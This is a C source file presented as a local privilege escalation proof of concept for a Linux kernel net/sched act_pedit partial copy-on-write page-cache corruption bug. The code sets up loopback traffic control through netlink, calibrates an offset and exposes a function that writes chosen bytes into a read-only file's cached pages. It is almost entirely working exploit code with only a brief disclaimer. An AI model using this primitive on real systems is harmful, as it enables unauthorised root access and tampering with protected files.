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| /*
* CVE-2026-46331.c -- Linux kernel net/sched act_pedit partial COW page cache corruption
* Local Privilege Escalation PoC
*
* Author: Ashraf Zaryouh "0xBlackash"
* Based on public research and sgkdev's packet_edit_meme
* WARNING: For educational and authorized testing purposes only.
* Do not use on systems you do not own.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <elf.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/tc_act/tc_pedit.h>
/* pedit_primitive integrated */
#define PEDIT_SLOT 4
#define PEDIT_MAX_WRITE 36
#define IP_IHL_KEY_OFFSET 0
#define IP_IHL_KEY_VALUE 0x4fu
#define IP_IHL_KEY_MASK 0xffffff00u
#define MAX_PEDIT_KEYS (1 + PEDIT_MAX_WRITE / PEDIT_SLOT)
#define LOOPBACK_ADDR 0x7f000001u
#define LOOPBACK_PREFIX 8
#define LOOPBACK_PORT 4445
#define LISTEN_BACKLOG 8
#define SETTLE_USEC 250000
#define CALIB_PATH "/tmp/.pedit_calib"
#define CALIB_LEN 4096
#define CALIB_PROBE_OFFSET 512
#define CALIB_MARK_BYTE 0xccu
#define REQUEST_BUF_LEN 8192
#define REPLY_BUF_LEN 4096
#define FILTER_PRIO 1
#define ACTION_LIST_FIRST 1
#ifndef NLA_F_NESTED
#define NLA_F_NESTED (1 << 15)
#endif
#ifndef TC_H_CLSACT
#define TC_H_CLSACT TC_H_INGRESS
#endif
#ifndef TC_H_MIN_EGRESS
#define TC_H_MIN_EGRESS 0xFFF3u
#endif
#ifndef TC_ACT_PIPE
#define TC_ACT_PIPE 3
#endif
#ifndef TCA_MATCHALL_ACT
#define TCA_MATCHALL_ACT 2
#endif
#define MIN_DATA_PKT_LEN 100
#ifndef TCA_EM_META_HDR
#define TCA_EM_META_HDR 1
#define TCA_EM_META_RVALUE 3
#endif
#define META_TYPE_INT 1
#define META_ID_PKTLEN 9
#define META_ID_VALUE 0
#define META_KIND_PKTLEN ((META_TYPE_INT << 12) | META_ID_PKTLEN)
#define META_KIND_VALUE ((META_TYPE_INT << 12) | META_ID_VALUE)
struct meta_value {
uint16_t kind;
uint8_t shift;
uint8_t op;
};
struct meta_header {
struct meta_value left;
struct meta_value right;
};
struct pedit_key_spec {
uint32_t offset;
uint32_t value;
uint32_t mask;
uint16_t header_type;
};
static int netlink_fd = -1;
static int loopback_index;
static int listen_fd = -1;
static int offset_delta;
static int use_matchall;
static unsigned int request_seq = 1;
static char request_buf[REQUEST_BUF_LEN];
static struct nlmsghdr *request_hdr;
static void request_begin(int type, int flags) {
memset(request_buf, 0, sizeof(request_buf));
request_hdr = (struct nlmsghdr *)request_buf;
request_hdr->nlmsg_len = NLMSG_HDRLEN;
request_hdr->nlmsg_type = type;
request_hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
request_hdr->nlmsg_seq = request_seq++;
}
static void *request_reserve(int length) {
void *area = (char *)request_buf + NLMSG_ALIGN(request_hdr->nlmsg_len);
request_hdr->nlmsg_len = NLMSG_ALIGN(request_hdr->nlmsg_len) + length;
return area;
}
static void request_append(const void *data, int length) {
memcpy(request_reserve(length), data, length);
}
static void request_attr(int type, const void *data, int length) {
struct rtattr *attr = request_reserve(RTA_LENGTH(length));
attr->rta_type = type;
attr->rta_len = RTA_LENGTH(length);
memcpy(RTA_DATA(attr), data, length);
}
static void request_attr_str(int type, const char *text) {
request_attr(type, text, strlen(text) + 1);
}
static struct rtattr *request_nest_begin(int type) {
struct rtattr *attr = request_reserve(RTA_LENGTH(0));
attr->rta_type = type | NLA_F_NESTED;
attr->rta_len = RTA_LENGTH(0);
return attr;
}
static struct rtattr *request_blob_begin(int type) {
struct rtattr *attr = request_reserve(RTA_LENGTH(0));
attr->rta_type = type;
attr->rta_len = RTA_LENGTH(0);
return attr;
}
static void request_nest_end(struct rtattr *attr) {
attr->rta_len = (char *)request_buf + request_hdr->nlmsg_len - (char *)attr;
}
static int request_send(int allow_enoent) {
char reply_buf[REPLY_BUF_LEN];
struct nlmsghdr *reply;
struct nlmsgerr *reply_error;
int received;
if (send(netlink_fd, request_buf, request_hdr->nlmsg_len, 0) < 0)
return -1;
received = recv(netlink_fd, reply_buf, sizeof(reply_buf), 0);
if (received < 0)
return -1;
reply = (struct nlmsghdr *)reply_buf;
if (reply->nlmsg_type != NLMSG_ERROR)
return 0;
reply_error = NLMSG_DATA(reply);
if (reply_error->error && !(allow_enoent && reply_error->error == -ENOENT))
return reply_error->error;
return 0;
}
static int link_up(int index) {
struct ifinfomsg link;
request_begin(RTM_NEWLINK, 0);
memset(&link, 0, sizeof(link));
link.ifi_family = AF_UNSPEC;
link.ifi_index = index;
link.ifi_flags = IFF_UP;
link.ifi_change = IFF_UP;
request_append(&link, sizeof(link));
return request_send(0);
}
static int link_set_addr(int index, uint32_t addr) {
struct ifaddrmsg ifaddr;
uint32_t addr_be = htonl(addr);
request_begin(RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE);
memset(&ifaddr, 0, sizeof(ifaddr));
ifaddr.ifa_family = AF_INET;
ifaddr.ifa_prefixlen = LOOPBACK_PREFIX;
ifaddr.ifa_index = index;
request_append(&ifaddr, sizeof(ifaddr));
request_attr(IFA_LOCAL, &addr_be, sizeof(addr_be));
request_attr(IFA_ADDRESS, &addr_be, sizeof(addr_be));
return request_send(0);
}
static void clsact_delete(int index) {
struct tcmsg msg;
request_begin(RTM_DELQDISC, 0);
memset(&msg, 0, sizeof(msg));
msg.tcm_family = AF_UNSPEC;
msg.tcm_ifindex = index;
msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
msg.tcm_parent = TC_H_CLSACT;
request_append(&msg, sizeof(msg));
request_send(1);
}
static int clsact_add(int index) {
struct tcmsg msg;
request_begin(RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL);
memset(&msg, 0, sizeof(msg));
msg.tcm_family = AF_UNSPEC;
msg.tcm_ifindex = index;
msg.tcm_handle = TC_H_MAKE(TC_H_CLSACT, 0);
msg.tcm_parent = TC_H_CLSACT;
request_append(&msg, sizeof(msg));
request_attr_str(TCA_KIND, "clsact");
return request_send(0);
}
static void append_pktlen_ematch(uint32_t threshold) {
struct tcf_ematch_tree_hdr tree_header;
struct tcf_ematch_hdr match_header;
struct meta_header meta;
struct rtattr *ematches;
struct rtattr *match_list;
struct rtattr *match;
ematches = request_nest_begin(TCA_BASIC_EMATCHES);
memset(&tree_header, 0, sizeof(tree_header));
tree_header.nmatches = 1;
request_attr(TCA_EMATCH_TREE_HDR, &tree_header, sizeof(tree_header));
match_list = request_nest_begin(TCA_EMATCH_TREE_LIST);
match = request_blob_begin(1);
memset(&match_header, 0, sizeof(match_header));
match_header.kind = TCF_EM_META;
match_header.flags = TCF_EM_REL_END;
request_append(&match_header, sizeof(match_header));
memset(&meta, 0, sizeof(meta));
meta.left.kind = META_KIND_PKTLEN;
meta.left.op = TCF_EM_OPND_GT;
meta.right.kind = META_KIND_VALUE;
request_attr(TCA_EM_META_HDR, &meta, sizeof(meta));
request_attr(TCA_EM_META_RVALUE, &threshold, sizeof(threshold));
request_nest_end(match);
request_nest_end(match_list);
request_nest_end(ematches);
}
static void append_pedit_action(const struct pedit_key_spec *keys, int key_count) {
char selector_buf[sizeof(struct tc_pedit_sel) + MAX_PEDIT_KEYS * sizeof(struct tc_pedit_key)];
struct tc_pedit_sel *selector = (void *)selector_buf;
struct tc_pedit_key *raw_keys = (void *)(selector_buf + sizeof(*selector));
struct rtattr *action;
struct rtattr *action_options;
struct rtattr *keys_ex;
struct rtattr *key_ex;
uint16_t header_type;
uint16_t command;
int selector_len;
int index_iter;
action = request_nest_begin(ACTION_LIST_FIRST);
request_attr_str(TCA_ACT_KIND, "pedit");
action_options = request_nest_begin(TCA_ACT_OPTIONS);
selector_len = sizeof(*selector) + key_count * sizeof(struct tc_pedit_key);
memset(selector_buf, 0, selector_len);
selector->nkeys = key_count;
selector->action = TC_ACT_PIPE;
for (index_iter = 0; index_iter < key_count; index_iter++) {
raw_keys[index_iter].off = keys[index_iter].offset;
raw_keys[index_iter].val = keys[index_iter].value;
raw_keys[index_iter].mask = keys[index_iter].mask;
}
request_attr(TCA_PEDIT_PARMS_EX, selector_buf, selector_len);
keys_ex = request_nest_begin(TCA_PEDIT_KEYS_EX);
for (index_iter = 0; index_iter < key_count; index_iter++) {
key_ex = request_nest_begin(TCA_PEDIT_KEY_EX);
header_type = keys[index_iter].header_type;
request_attr(TCA_PEDIT_KEY_EX_HTYPE, &header_type, sizeof(header_type));
command = TCA_PEDIT_KEY_EX_CMD_SET;
request_attr(TCA_PEDIT_KEY_EX_CMD, &command, sizeof(command));
request_nest_end(key_ex);
}
request_nest_end(keys_ex);
request_nest_end(action_options);
request_nest_end(action);
}
static int egress_pedit_add(int index, const struct pedit_key_spec *keys, int key_count) {
struct rtattr *options;
struct rtattr *action_list;
struct tcmsg msg;
request_begin(RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL);
memset(&msg, 0, sizeof(msg));
msg.tcm_family = AF_UNSPEC;
msg.tcm_ifindex = index;
msg.tcm_parent = TC_H_MAKE(TC_H_CLSACT, TC_H_MIN_EGRESS);
msg.tcm_info = TC_H_MAKE(FILTER_PRIO << 16, htons(ETH_P_ALL));
request_append(&msg, sizeof(msg));
if (use_matchall) {
request_attr_str(TCA_KIND, "matchall");
options = request_nest_begin(TCA_OPTIONS);
action_list = request_nest_begin(TCA_MATCHALL_ACT);
} else {
request_attr_str(TCA_KIND, "basic");
options = request_nest_begin(TCA_OPTIONS);
append_pktlen_ematch(MIN_DATA_PKT_LEN);
action_list = request_nest_begin(TCA_BASIC_ACT);
}
append_pedit_action(keys, key_count);
request_nest_end(action_list);
request_nest_end(options);
return request_send(0);
}
static void fill_ihl_key(struct pedit_key_spec *key) {
key->offset = IP_IHL_KEY_OFFSET;
key->value = IP_IHL_KEY_VALUE;
key->mask = IP_IHL_KEY_MASK;
key->header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_NETWORK;
}
static int pedit_burst(int src_fd, const struct pedit_key_spec *keys, int key_count) {
struct sockaddr_in addr;
struct stat info;
off_t file_offset = 0;
int client_fd;
int server_fd;
if (fstat(src_fd, &info))
return -1;
clsact_delete(loopback_index);
if (clsact_add(loopback_index))
return -1;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR);
addr.sin_port = htons(LOOPBACK_PORT);
client_fd = socket(AF_INET, SOCK_STREAM, 0);
if (client_fd < 0)
return -1;
if (connect(client_fd, (void *)&addr, sizeof(addr))) {
close(client_fd);
return -1;
}
server_fd = accept(listen_fd, NULL, NULL);
if (server_fd < 0) {
close(client_fd);
return -1;
}
if (egress_pedit_add(loopback_index, keys, key_count)) {
close(client_fd);
close(server_fd);
return -1;
}
fcntl(client_fd, F_SETFL, O_NONBLOCK);
if (sendfile(client_fd, src_fd, &file_offset, info.st_size) < 0 && errno != EAGAIN) {
close(client_fd);
close(server_fd);
return -1;
}
usleep(SETTLE_USEC);
close(client_fd);
close(server_fd);
return 0;
}
static int calibrate(void) {
struct pedit_key_spec keys[2];
uint8_t buf[CALIB_LEN];
int fd;
int index_iter;
int landed = -1;
fd = open(CALIB_PATH, O_RDWR | O_CREAT | O_TRUNC, 0644);
if (fd < 0)
return -1;
memset(buf, 0, sizeof(buf));
if (write(fd, buf, sizeof(buf)) != sizeof(buf)) {
close(fd);
return -1;
}
fsync(fd);
fill_ihl_key(&keys[0]);
keys[1].offset = CALIB_PROBE_OFFSET;
keys[1].value = CALIB_MARK_BYTE * 0x01010101u;
keys[1].mask = 0;
keys[1].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
if (pedit_burst(fd, keys, 2)) {
close(fd);
return -1;
}
if (pread(fd, buf, sizeof(buf), 0) != sizeof(buf)) {
close(fd);
return -1;
}
for (index_iter = 0; index_iter + PEDIT_SLOT <= CALIB_LEN; index_iter++) {
if (buf[index_iter] == CALIB_MARK_BYTE &&
buf[index_iter + 1] == CALIB_MARK_BYTE &&
buf[index_iter + 2] == CALIB_MARK_BYTE &&
buf[index_iter + 3] == CALIB_MARK_BYTE) {
landed = index_iter;
break;
}
}
close(fd);
unlink(CALIB_PATH);
if (landed < 0)
return -1;
offset_delta = landed - CALIB_PROBE_OFFSET;
return 0;
}
int setup(void) {
struct sockaddr_in addr;
int reuse = 1;
netlink_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (netlink_fd < 0)
return -1;
loopback_index = if_nametoindex("lo");
if (!loopback_index || link_up(loopback_index))
return -1;
link_set_addr(loopback_index, LOOPBACK_ADDR);
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
if (listen_fd < 0)
return -1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(LOOPBACK_ADDR);
addr.sin_port = htons(LOOPBACK_PORT);
if (bind(listen_fd, (void *)&addr, sizeof(addr)))
return -1;
if (listen(listen_fd, LISTEN_BACKLOG))
return -1;
if (calibrate() == 0)
return 0;
use_matchall = 1;
return calibrate();
}
int api_fd_write(int fd, off_t offset, const void *src, size_t size) {
struct pedit_key_spec keys[MAX_PEDIT_KEYS];
const uint8_t *bytes = src;
int key_count = 0;
size_t pos;
if (size == 0)
return 0;
if (size > PEDIT_MAX_WRITE || (size % PEDIT_SLOT) != 0)
return -1;
if (offset < (off_t)offset_delta)
return -1;
fill_ihl_key(&keys[key_count++]);
for (pos = 0; pos < size; pos += PEDIT_SLOT) {
keys[key_count].offset = (uint32_t)(offset + pos) - (uint32_t)offset_delta;
keys[key_count].value = (uint32_t)bytes[pos] |
((uint32_t)bytes[pos + 1] << 8) |
((uint32_t)bytes[pos + 2] << 16) |
((uint32_t)bytes[pos + 3] << 24);
keys[key_count].mask = 0;
keys[key_count].header_type = TCA_PEDIT_KEY_EX_HDR_TYPE_TCP;
key_count++;
}
return pedit_burst(fd, keys, key_count);
}
|
